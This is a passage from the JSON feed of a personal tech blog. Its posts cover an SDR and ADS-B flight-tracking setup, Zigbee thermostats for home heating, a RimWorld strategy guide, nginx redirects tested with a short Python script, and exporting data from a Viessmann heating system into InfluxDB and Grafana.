enough\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Cp\u003E\u003Cstrong\u003EManual:\u003C\/strong\u003E\u003C\/p\u003E\n\u003Cul\u003E\n\u003Cli\u003E\u003Cstrong\u003EAir band:\u003C\/strong\u003E listen in live with \u003Ccode\u003ESDR\u0026#43;\u0026#43;\u003C\/code\u003E or \u003Ccode\u003EGQRX\u003C\/code\u003E\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EISM band:\u003C\/strong\u003E reverse-engineer IoT devices with \u003Ccode\u003Ertl_433\u003C\/code\u003E\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Cp\u003EAll four dongles will run in parallel on the server, each writing into InfluxDB, and everything ends up in Grafana.\u003C\/p\u003E\n\u003Ch2\u003ERealism\u003C\/h2\u003E\n\u003Cp\u003EThis is a broadband setup. A discone is good for many frequencies, but not optimal for any single one. For the best NOAA reception a dedicated V-dipole would be better. For marine VHF a 1\/4-wave vertical antenna. But I want to stay flexible and not bolt five antennas onto the roof.\u003C\/p\u003E\n\u003Cp\u003EThe hardware will be ordered and mounted over the next few weeks. Then there\u0026#039;ll be an update on how well it actually works.\u003C\/p\u003E\n\u003Cp\u003E\u003Cstrong\u003ETech stack:\u003C\/strong\u003E RTL-SDR, Nooelec LaNA, Axing BVS, Python, InfluxDB, Grafana, Ansible\u003C\/p\u003E\n","date_published":"2026-04-14T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/flightradar-ads-b-feeder-tracking-planes-from-the-roof","url":"https:\/\/malura.de\/en\/blog\/flightradar-ads-b-feeder-tracking-planes-from-the-roof","title":"Flightradar ADS-B feeder - tracking planes from the roof","content_html":"\u003Cp\u003EI wanted to know what\u0026#039;s flying around up there, so I first applied for a free Flightradar24 receiver kit. They rejected me. So I dug out an old RTL-SDR dongle, plugged in a piece of wire as an emergency antenna and put it by the window. It worked surprisingly well; even with this makeshift setup I was able to track planes up to ~150km out.\u003C\/p\u003E\n\u003Cp\u003E[[img:3]]\u003C\/p\u003E\n\u003Cp\u003EThis blew me away so much that I ordered a bigger antenna. It arrived a few days later and is now sitting temporarily outside on the terrace. The range immediately doubled to ~300km.\u003C\/p\u003E\n\u003Cp\u003E[[img:2]]\u003C\/p\u003E\n\u003Cp\u003EWhen I have time I\u0026#039;ll mount it on the roof and connect it directly to the server in the basement.\u003C\/p\u003E\n\u003Cp\u003EIn the Grafana dashboard you can clearly see when I switched from the wire antenna to the proper antenna. The activity immediately doubled.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n\u003Ch2\u003EThe setup\u003C\/h2\u003E\n\u003Cp\u003EThe whole thing receives ADS-B on 1090 MHz with an RTL-SDR dongle. A GPS receiver provides the position for MLAT (multilateration). tar1090 shows everything in the browser, and the data goes to both Flightradar24 and ADSBExchange. For that I get a contributor account with business features.\u003C\/p\u003E\n\u003Cp\u003EAn InfluxDB logger stores everything for Grafana dashboards. The complete setup is managed via Ansible, so I can re-provision the Pi at any time without manually typing configs.\u003C\/p\u003E\n\u003Ch2\u003EThe rabbit hole goes deeper\u003C\/h2\u003E\n\u003Cp\u003EThis project totally got me hooked. Now I want to get myself a better antenna, a splitter and even more SDR dongles to listen in on other frequencies as well. With RTL-SDR you can receive a whole lot:\u003C\/p\u003E\n\u003Cul\u003E\n\u003Cli\u003E\u003Cstrong\u003EAir band (118-137 MHz)\u003C\/strong\u003E - pilots talking to air traffic control\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EACARS (131.550 MHz)\u003C\/strong\u003E - aircraft automatically transmit weather and status messages\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003ENOAA weather satellites (137 MHz)\u003C\/strong\u003E - receive live satellite images\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EMarine VHF (156-162 MHz)\u003C\/strong\u003E - ship communication\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EISM band (433 MHz)\u003C\/strong\u003E - garage doors, weather stations, all kinds of IoT stuff\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Cp\u003EAn RTL-SDR dongle costs ~55\u20ac and receives from 100 kHz to 1.75 GHz. That\u0026#039;s quite a spectrum for little money.\u003C\/p\u003E\n\u003Ch2\u003EBuild it yourself\u003C\/h2\u003E\n\u003Cp\u003EIf you feel like building something like this yourself: ADSBExchange and Flightradar24 both have detailed guides with shopping lists and step-by-step instructions. A \u003Ca href=\u0022https:\/\/amzn.to\/3OfhniD\u0022\u003ERaspberry Pi 5 4GB\u003C\/a\u003E for ~\u20ac120 is plenty, but you can also use an old 3B\u0026#43; like I did if you want to save money. I got myself the \u003Ca href=\u0022https:\/\/amzn.to\/4cmFgwJ\u0022\u003ENooelec RTL-SDR v5\u003C\/a\u003E for ~\u20ac55 and the \u003Ca href=\u0022https:\/\/amzn.to\/3Oj4PGY\u0022\u003EAirNav Radar ADS-B 1090 MHz antenna\u003C\/a\u003E for ~\u20ac75, both work great.\u003C\/p\u003E\n\u003Cp\u003E\u003Cstrong\u003ETech stack:\u003C\/strong\u003E Raspberry Pi 3B\u0026#43;, RTL-SDR, readsb, tar1090, gpsd, Ansible, InfluxDB, Grafana\u003C\/p\u003E\n\u003Cp\u003E\u003Cstrong\u003ELinks:\u003C\/strong\u003E\u003C\/p\u003E\n\u003Cul\u003E\n\u003Cli\u003E\u003Ca href=\u0022https:\/\/globe.adsbexchange.com\/?feed\u0026#61;1jG4Ux2EPt_U\u0022\u003EMy receiver live on ADSBExchange\u003C\/a\u003E\u003C\/li\u003E\n\u003Cli\u003E\u003Ca href=\u0022https:\/\/www.adsbexchange.com\/api\/feeders\/?feed\u0026#61;6c8ad6fc-0b35-403d-8bd4-92777dee8161\u0022\u003EFeed status API\u003C\/a\u003E\u003C\/li\u003E\n\u003Cli\u003E\u003Ca href=\u0022https:\/\/www.adsbexchange.com\/how-to-feed\/\u0022\u003EADSBExchange setup guide\u003C\/a\u003E\u003C\/li\u003E\n\u003Cli\u003E\u003Ca href=\u0022https:\/\/www.flightradar24.com\/share-your-data\u0022\u003EFlightradar24 sharing program\u003C\/a\u003E\u003C\/li\u003E\n\u003C\/ul\u003E\n","date_published":"2026-04-13T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/smart-home-heating-with-zigbee-heating-an-old-building-more-efficiently","url":"https:\/\/malura.de\/en\/blog\/smart-home-heating-with-zigbee-heating-an-old-building-more-efficiently","title":"Smart Home Heating with Zigbee - Heating an Old Building More Efficiently","content_html":"\u003Cp\u003EI\u0026#039;m currently heating my 1980s old building into the ground and I have no idea whether the heating curve is right. The Viessmann runs on slope 1.2 \/ level 3.0 and that\u0026#039;s probably way too high. I have no sensors in the rooms, so no data. So I\u0026#039;m getting Zigbee thermostats and temperature sensors for every room, all into Grafana, and then I can see where I\u0026#039;m overheating.\u003C\/p\u003E\n\u003Ch2\u003EWhy Zigbee and not AVM FRITZ!DECT\u003C\/h2\u003E\n\u003Cp\u003EAVM offers ready-made solutions (DECT 302 thermostats \u0026#43; DECT 350 sensors), but that costs ~\u20ac90 per room. For two rooms with two radiators each that would be \u20ac180, for seven rooms over \u20ac600.\u003C\/p\u003E\n\u003Cp\u003EZigbee is cheaper, but prices vary a lot depending on the retailer. On Amazon I pay \u20ac195 for phase 1 (\u003Ca href=\u0022https:\/\/amzn.to\/3OfixL1\u0022\u003E4\u00d7 TRVZB\u003C\/a\u003E \u20ac90, \u003Ca href=\u0022https:\/\/amzn.to\/48LlcCZ\u0022\u003E2\u00d7 sensors\u003C\/a\u003E \u20ac25, \u003Ca href=\u0022https:\/\/amzn.to\/4cjeDso\u0022\u003Ecoordinator\u003C\/a\u003E \u20ac80). That\u0026#039;s fast delivery, but not the best price.\u003C\/p\u003E\n\u003Cp\u003EIf you want to save money, order directly from itead.cc (Sonoff manufacturer) or via AliExpress. There the TRVZB cost ~\u20ac20-22 and sensors ~\u20ac10-12 each. With those prices you end up at ~\u20ac120 for two rooms including the coordinator, seven rooms ~\u20ac300 total. The downside: 2-4 weeks delivery time from China. I ordered from hobbyelectronica.nl (EU warehouse) and the itead EU store, delivery in 5-10 days at similar prices.\u003C\/p\u003E\n\u003Cp\u003EThe effort is higher than AVM (Docker container instead of FritzBox integration), but I already have Docker\/InfluxDB\/Grafana running anyway. The data comes straight into Grafana via MQTT, without any tinkering through the FritzBox API.\u003C\/p\u003E\n\u003Ch2\u003EWhy an Ethernet coordinator instead of USB\u003C\/h2\u003E\n\u003Cp\u003EMy server sits in the basement. Zigbee through concrete ceilings doesn\u0026#039;t work, so the coordinator has to sit centrally in the hallway. A USB stick on the server is useless, and USB passthrough via the FritzBox doesn\u0026#039;t work (FritzBox USB only accepts printers\/storage).\u003C\/p\u003E\n\u003Cp\u003ESo: \u003Ca href=\u0022https:\/\/amzn.to\/4cjeDso\u0022\u003ESMLight SLZB-06 Ethernet Coordinator\u003C\/a\u003E. It speaks Zigbee on one side and TCP\/IP on the other. Zigbee2MQTT can use \u003Ccode\u003Etcp:\/\/host:6638\u003C\/code\u003E as the adapter URL, so the coordinator sits in the hallway next to the FritzBox (LAN \u0026#43; USB-C power supply) and the server in the basement pulls the data over the network.\u003C\/p\u003E\n\u003Ch2\u003EHardware ordered\u003C\/h2\u003E\n\u003Cp\u003E\u003Cstrong\u003EPhase 1 - Two rooms (living room \u0026#43; office):\u003C\/strong\u003E\u003C\/p\u003E\n\u003Cul\u003E\n\u003Cli\u003E4\u00d7 \u003Ca href=\u0022https:\/\/amzn.to\/3OfixL1\u0022\u003ESonoff TRVZB\u003C\/a\u003E (2 radiators per room) - \u20ac90\u003C\/li\u003E\n\u003Cli\u003E2\u00d7 \u003Ca href=\u0022https:\/\/amzn.to\/48LlcCZ\u0022\u003ESonoff SNZB-02P\u003C\/a\u003E (1 sensor per room) - \u20ac25\u003C\/li\u003E\n\u003Cli\u003E1\u00d7 \u003Ca href=\u0022https:\/\/amzn.to\/4cjeDso\u0022\u003ESMLight SLZB-06 Ethernet Coordinator\u003C\/a\u003E - \u20ac80\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Cp\u003E\u003Cstrong\u003ECost:\u003C\/strong\u003E ~\u20ac195 total. For comparison: AVM for the same two rooms would be \u20ac360.\u003C\/p\u003E\n\u003Ch2\u003EWhat I expect\u003C\/h2\u003E\n\u003Cp\u003EThe heating curve is currently set too high because I have no data. With sensors in every room I can turn the curve down as far as it goes until the coldest room just barely reaches the target temperature. Every degree less flow temperature \u0026#61; oil saved directly.\u003C\/p\u003E\n\u003Cp\u003EOn top of that: turn down thermostats in rarely used rooms (guest room, storage room), office only warm during the day, bedroom cooler at night. The theory says 20-30% savings are possible. Whether that holds we\u0026#039;ll see in a month when the hardware is here and a few weeks of data are in Grafana.\u003C\/p\u003E\n\u003Ch2\u003ESoftware Stack\u003C\/h2\u003E\n\u003Cp\u003EAll Docker containers on the home_vault server:\u003C\/p\u003E\n\u003Cul\u003E\n\u003Cli\u003E\u003Cstrong\u003EMosquitto\u003C\/strong\u003E - MQTT broker\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EZigbee2MQTT\u003C\/strong\u003E - Zigbee -\u0026gt; MQTT bridge (connected via TCP to the SLZB-06)\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003ETelegraf\u003C\/strong\u003E - MQTT -\u0026gt; InfluxDB (writes into the existing vault DB)\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EGrafana\u003C\/strong\u003E - dashboard (already running, now gets room temperature\/humidity \u0026#43; valve opening)\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Cp\u003EThe whole thing correlates with the existing vcontrold data (flow\/return\/outside temperature) and solar yield. Then you can see exactly where it\u0026#039;s overheating, which rooms stay too cold, and whether the curve fits.\u003C\/p\u003E\n\u003Ch2\u003EReality check\u003C\/h2\u003E\n\u003Cp\u003EThis is a 1980s old building with poor insulation. Cold, uninsulated walls radiate cold even at 21\u00b0C air temperature. No control system in the world fixes that, only insulation. The system only prevents me from cranking it to 23\u00b0C out of compensation and burning oil in the process.\u003C\/p\u003E\n\u003Cp\u003EHardware arrives in 5-10 days (itead EU warehouse \u0026#43; hobbyelectronica NL). Then set up containers, pair the thermostats, collect data for a week, and then we\u0026#039;ll see whether the theory holds.\u003C\/p\u003E\n","date_published":"2026-04-13T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/rimworld-a-complete-step-by-step-guide-to-beating-the-game","url":"https:\/\/malura.de\/en\/blog\/rimworld-a-complete-step-by-step-guide-to-beating-the-game","title":"RimWorld: A Complete Step-by-Step Guide to Beating the Game","content_html":"\u003Cp\u003EThis guide offers a clear, practical step-by-step structure for building a stable colony and successfully finishing the game via the classic spaceship ending. The focus is on a standard game with a Crashlanded start and medium difficulty.\u003C\/p\u003E\n\u003Ch2\u003EPhase 1 \u2013 Start (Day 1\u20133): Securing Survival\u003C\/h2\u003E\n\u003Col\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EHit pause and analyze the map\u003C\/strong\u003E\u003Cbr \/\u003E\nIdentify fertile soil, geysers, choke points, cover and good build areas.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EPick a location\u003C\/strong\u003E\u003Cbr \/\u003E\nClose to fertile soil, geysers and natural defenses.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EAssign colonist roles\u003C\/strong\u003E\u003Cbr \/\u003E\nSensibly assign medicine, construction, cooking, farming and research.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EBuild the first shelter\u003C\/strong\u003E\u003Cbr \/\u003E\nBarracks, base camp, simple kitchen. Store everything under a roof.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003ESecure food\u003C\/strong\u003E\u003Cbr \/\u003E\nGather berries, hunt, cook simple meals.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EBuild a cold room\u003C\/strong\u003E\u003Cbr \/\u003E\nSmall room, cooler at \u22122\u00b0C, store food and medicine.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EFirst defenses\u003C\/strong\u003E\u003Cbr \/\u003E\nChoke point, sandbags, hand out starting weapons.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003C\/ol\u003E\n\u003Ch2\u003EPhase 2 \u2013 Early Colony (Day 3\u201315): Stabilization\u003C\/h2\u003E\n\u003Col start=\u00228\u0022\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EExpand farming\u003C\/strong\u003E\u003Cbr \/\u003E\nRice (fast), corn (stockpile), potatoes (poor soil).\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EOptimize mood\u003C\/strong\u003E\u003Cbr \/\u003E\nPrivate bedrooms, dining area, recreation room.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EStart researching\u003C\/strong\u003E\u003Cbr \/\u003E\nSolar Panels, Batteries, Stonecutting, Microelectronics.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003ESecure power\u003C\/strong\u003E\u003Cbr \/\u003E\nSolar \u0026#43; wind \u0026#43; later geothermal. Batteries in a separate room.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EOrganize storage\u003C\/strong\u003E\u003Cbr \/\u003E\nCentral storage room, refrigerated food, dump zones outside.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EImprove your defensive structure\u003C\/strong\u003E\u003Cbr \/\u003E\nKill zone with traps, cover and clear attack paths.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003C\/ol\u003E\n\u003Ch2\u003EPhase 3 \u2013 Mid Colony (Day 15\u201360): Economy \u0026amp; Tech\u003C\/h2\u003E\n\u003Col start=\u002214\u0022\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003ESet up Stonecutting\u003C\/strong\u003E\u003Cbr \/\u003E\nStone walls as a fireproof foundation.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EOptimize production chains\u003C\/strong\u003E\u003Cbr \/\u003E\nKitchen, tailoring, smithy\/fabrication.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EMedical infrastructure\u003C\/strong\u003E\u003Cbr \/\u003E\nClean hospital, medicine in the cold room.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EColonist management\u003C\/strong\u003E\u003Cbr \/\u003E\nOnly sensible recruits, mood rules, good clothing.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EEstablish trade\u003C\/strong\u003E\u003Cbr \/\u003E\nComms Console, Trade Beacon, sell surplus goods.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EResearch toward the ship\u003C\/strong\u003E\u003Cbr \/\u003E\nUnlock Multi-analyzer and ship tech.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003C\/ol\u003E\n\u003Ch2\u003EPhase 4 \u2013 Late Colony (Day 60\u0026#43;): Spaceship Construction\u003C\/h2\u003E\n\u003Col start=\u002220\u0022\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EResearch all ship techs\u003C\/strong\u003E\u003Cbr \/\u003E\nComputer core, Sensors, Engines, Reactor, Caskets.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EDecide on the ship\u0026#039;s location\u003C\/strong\u003E\u003Cbr \/\u003E\nA stable area with good cover and a defensive zone.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EBuild the ship components\u003C\/strong\u003E\u003Cbr \/\u003E\nConnect everything together.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003ESecure materials\u003C\/strong\u003E\u003Cbr \/\u003E\nSteel, Plasteel, Uranium, Components, Advanced Components.\u003Cbr \/\u003E\nUse Deep Drills \u0026#43; Scanner.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003C\/ol\u003E\n\u003Ch2\u003EPhase 5 \u2013 Endgame: Reactor Startup and Survival\u003C\/h2\u003E\n\u003Col start=\u002224\u0022\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EActivate the reactor\u003C\/strong\u003E\u003Cbr \/\u003E\nStart the countdown, expect massive raid waves.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003ESet up final defenses\u003C\/strong\u003E\u003Cbr \/\u003E\nReinforce the kill zone, autoturrets, firefoam, fallback rooms.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EPlan cryptosleep\u003C\/strong\u003E\u003Cbr \/\u003E\nPut colonists into the caskets only at the last minute.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003ESurvive the final days\u003C\/strong\u003E\u003Cbr \/\u003E\nFocus on repairs, medicine, defense, no outside missions.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003ELaunch and escape\u003C\/strong\u003E\u003Cbr \/\u003E\nTimer\u0026#039;s up, everyone in the ship: lift off and finish the game.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003C\/ol\u003E\n\u003Ch2\u003ECommon Mistakes and Key Ground Rules\u003C\/h2\u003E\n\u003Col start=\u002229\u0022\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EAvoid the usual mistakes\u003C\/strong\u003E\u003C\/p\u003E\n\u003Cul\u003E\n\u003Cli\u003EOpen bases without choke points\u003C\/li\u003E\n\u003Cli\u003ENo stable food chain\u003C\/li\u003E\n\u003Cli\u003EIgnored mood problems\u003C\/li\u003E\n\u003Cli\u003EToo much expansion without a foundation\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EPractical ground rules\u003C\/strong\u003E\u003C\/p\u003E\n\u003Cul\u003E\n\u003Cli\u003EIgnore bad recruits\u003C\/li\u003E\n\u003Cli\u003EOnly take sensible quests\u003C\/li\u003E\n\u003Cli\u003EDon\u0026#039;t waste resources\u003C\/li\u003E\n\u003Cli\u003EAccept restarts if necessary\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003C\/li\u003E\n\u003C\/ol\u003E\n","date_published":"2025-11-21T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/how-i-do-redirects-with-nginx-and-test-them-with-python","url":"https:\/\/malura.de\/en\/blog\/how-i-do-redirects-with-nginx-and-test-them-with-python","title":"How I Do Redirects with Nginx and Test Them with Python","content_html":"\u003Cp\u003EI needed a way to easily and quickly define lots of redirects for my blog. In this post I want to present my solution.\u003C\/p\u003E\n\u003Cp\u003EFirst a .map file has to be created. Each line represents one redirect and should have the following format \u003Ccode\u003EFROM TO;\u003C\/code\u003E. It\u0026#039;s important to end each line with a ;.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E\/posts \/blog;\n\/en\/blog \/blog;\n\/en\/todo.html \/blog\/todo;\n\u003C\/pre\u003E\n\u003Cp\u003EThe nginx server configuration should look like this.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Emap_hash_bucket_size 256;\n\nmap $uri $redirected_url {\n  default \u0026#34;none\u0026#34;;\n  include \/etc\/nginx\/redirects.map;\n}\n\nserver {\n  # ...\n  if ($redirected_url !\u0026#61; \u0026#34;none\u0026#34;) {\n    return 301 $redirected_url;\n  }\n  # ...\n}\n\u003C\/pre\u003E\n\u003Cp\u003EThis Python script can be used to test the redirects. It loads each line of the \u003Ccode\u003Eredirects.map\u003C\/code\u003E, makes a request to it and checks whether it redirected correctly.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Eimport requests\nfrom urllib.parse import urljoin\n\nclass bcolors:\n    HEADER \u0026#61; \u0026#039;\\033[95m\u0026#039;\n    OKBLUE \u0026#61; \u0026#039;\\033[94m\u0026#039;\n    OKGREEN \u0026#61; \u0026#039;\\033[92m\u0026#039;\n    WARNING \u0026#61; \u0026#039;\\033[93m\u0026#039;\n    FAIL \u0026#61; \u0026#039;\\033[91m\u0026#039;\n    ENDC \u0026#61; \u0026#039;\\033[0m\u0026#039;\n    BOLD \u0026#61; \u0026#039;\\033[1m\u0026#039;\n    UNDERLINE \u0026#61; \u0026#039;\\033[4m\u0026#039;\n\nbase \u0026#61; \u0026#039;https:\/\/malura.de\u0026#039;\n\nredirect_count \u0026#61; 0\nredirect_success_count \u0026#61; 0\n\nwith open(\u0026#039;redirects.map\u0026#039;) as fp:\n    for cnt, line in enumerate(fp):\n        redirect_count \u0026#43;\u0026#61; 1\n        [url, redirect] \u0026#61; [urljoin(base, chunk.strip().replace(\u0026#039;;\u0026#039;, \u0026#039;\u0026#039;)) for chunk in line.split(\u0026#039; \u0026#039;)]\n        r \u0026#61; requests.get(url, allow_redirects\u0026#61;False)\n\n        redirected_location \u0026#61; r.headers[\u0026#039;Location\u0026#039;]\n        if redirected_location !\u0026#61; redirect:\n            print(\u0026#34;{} -\u0026gt; {} \u0026#61; {}\u0026#34;.format(url, redirect, redirected_location))\n        else:\n            redirect_success_count \u0026#43;\u0026#61; 1\n\nif redirect_success_count !\u0026#61; redirect_count:\n    print(f\u0026#34;{bcolors.FAIL}{redirect_count - redirect_success_count} redirects didnt work{bcolors.ENDC}\u0026#34;)\n\u003C\/pre\u003E\n","date_published":"2020-02-11T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/automatic-export-of-my-viessmann-heating-system","url":"https:\/\/malura.de\/en\/blog\/automatic-export-of-my-viessmann-heating-system","title":"Automatic export of my Viessmann heating system","content_html":"\u003Cp\u003EAt the end of 2017 we replaced the 40-year-old oil heating with a new system from Viessmann. The modern unit provides lots of different data points and I\u0026#039;ll explain how I read and process them.\u003C\/p\u003E\n\u003Cp\u003EThe whole thing runs with vcontrold over the serial interface, the data ends up in InfluxDB and is visualized with Grafana. In the dashboard I can see temperatures (boiler, flow line, outside, hot water), burner run times and pump status. The XML config below defines all the addresses and commands for the Vitodens 300-C.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n\u003Cp\u003EThe dashboard shows several temperature curves over time (blue\/red\/yellow\/orange lines), and at the bottom statistics like current output (5.91 kW), operating hours and temperatures. You can tell right away when the heating is acting up or the burner starts too often.\u003C\/p\u003E\n\u003Ch2\u003EWhich system do I own?\u003C\/h2\u003E\n\u003Cul\u003E\n\u003Cli\u003E\u003Ca href=\u0022https:\/\/www.viessmann.de\/de\/wohngebaeude\/oelheizung\/oel-brennwertkessel\/vitoladens-300-c.html\u0022\u003EVitoladens\n300-C\u003C\/a\u003E with a Vitoconnect 200\u003C\/li\u003E\n\u003Cli\u003E\u003Ca href=\u0022https:\/\/www.viessmann.de\/de\/wohngebaeude\/warmwasserbereiter\/heizwasser-pufferspeicher\/vitocell-360-m.html\u0022\u003EVitocell\u003C\/a\u003E\u003C\/li\u003E\n\u003Cli\u003E\u003Ca href=\u0022https:\/\/www.viessmann.de\/de\/wohngebaeude\/solarthermie\/flachkollektoren\/vitosol-200-fm.html\u0022\u003E5\nsolar panels\u003C\/a\u003E\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Ch2\u003EWhich data points does my system support?\u003C\/h2\u003E\n\u003Cp\u003EThe system offers over 100 different data points, from temperatures to run times to operating modes. The most important ones for my monitoring are outside temperature, boiler temperature, hot water temperature and burner run time.\u003C\/p\u003E\n\u003Ch2\u003EMy Influx template\u003C\/h2\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Etemperature,source\u0026#61;outside,provider\u0026#61;heating current\u0026#61;$1\ntemperature,source\u0026#61;warm_water,provider\u0026#61;heating current\u0026#61;$2,desired\u0026#61;$3,output\u0026#61;$4\ntemperature,source\u0026#61;reservoir,provider\u0026#61;heating current\u0026#61;$5\ntemperature,source\u0026#61;solar_collector,provider\u0026#61;heating current\u0026#61;$6\ntemperature,source\u0026#61;boiler,provider\u0026#61;heating current\u0026#61;$7,desired\u0026#61;$8\nruntime,source\u0026#61;burner,provider\u0026#61;heating current\u0026#61;$9\nstart_count,source\u0026#61;burner,provider\u0026#61;heating current\u0026#61;$10\ntemperature,source\u0026#61;flow_line,provider\u0026#61;heating desired\u0026#61;$11\ntemperature,source\u0026#61;return_flow,provider\u0026#61;heating current\u0026#61;$12\nstatus,source\u0026#61;pump_circulation,provider\u0026#61;heating current\u0026#61;$13\nstatus,source\u0026#61;pump_heating,provider\u0026#61;heating current\u0026#61;$14\ntemperature,source\u0026#61;solar_cell,provider\u0026#61;heating desired\u0026#61;$15\nruntime,source\u0026#61;solar,provider\u0026#61;heating current\u0026#61;$16\npower,source\u0026#61;solar,provider\u0026#61;heating all_time\u0026#61;$17,today\u0026#61;$18\nstatus,source\u0026#61;flame,provider\u0026#61;heating current\u0026#61;$19\nstatus,source\u0026#61;pump_solar_cell,provider\u0026#61;heating current\u0026#61;$20\nstatus,source\u0026#61;pump_internal,provider\u0026#61;heating current\u0026#61;$21\n\u003C\/pre\u003E\n\u003Ch2\u003EMy vcontrold.xml\u003C\/h2\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Exml version\u0026#61;\u0026#34;1.0\u0026#34;?\n xmlns:vcontrol\u0026#61;\u0026#34;https:\/\/www.openv.de\/vcontrol\u0026#34;\u0026gt;\n\n\n\n        \/dev\/ttyUSB0\n\n\n        3002\n         ip\u0026#61;\u0026#039;127.0.0.1\u0026#039;\/\u0026gt;\n         ip\u0026#61;\u0026#039;192.168.178.0\/24\u0026#039;\/\u0026gt;\n\n\n        \/home\/pi\/vcontrold.log\n        y\n        y\n\n       ID\u0026#61;\u0026#34;20C8\u0026#34;\/\u0026gt;\n\n\n\n\n     name\u0026#61;\u0026#039;Aktuelle Betriebsart\u0026#039;\u0026gt;\n      ABA\n      enum\n       bytes\u0026#61;\u0026#039;00\u0026#039; text\u0026#61;\u0026#039;Abschaltbetr. (Dauernd)\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;01\u0026#039; text\u0026#61;\u0026#039;Red. Betrieb (Schaltuhr)\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;02\u0026#039; text\u0026#61;\u0026#039;Normalbetrieb (Schaltuhr)\u0026#039;\/\u0026gt;\n       bytes\u0026#61;\u0026#039;03\u0026#039; text\u0026#61;\u0026#039;Normalbetrieb (Dauernd)\u0026#039;\/\u0026gt;\n       text\u0026#61;\u0026#039;?\u0026#039;\/\u0026gt;\n\n     name\u0026#61;\u0026#039;Betriebsart\u0026#039;\u0026gt;\n      BA\n      enum\n       bytes\u0026#61;\u0026#039;00\u0026#039; 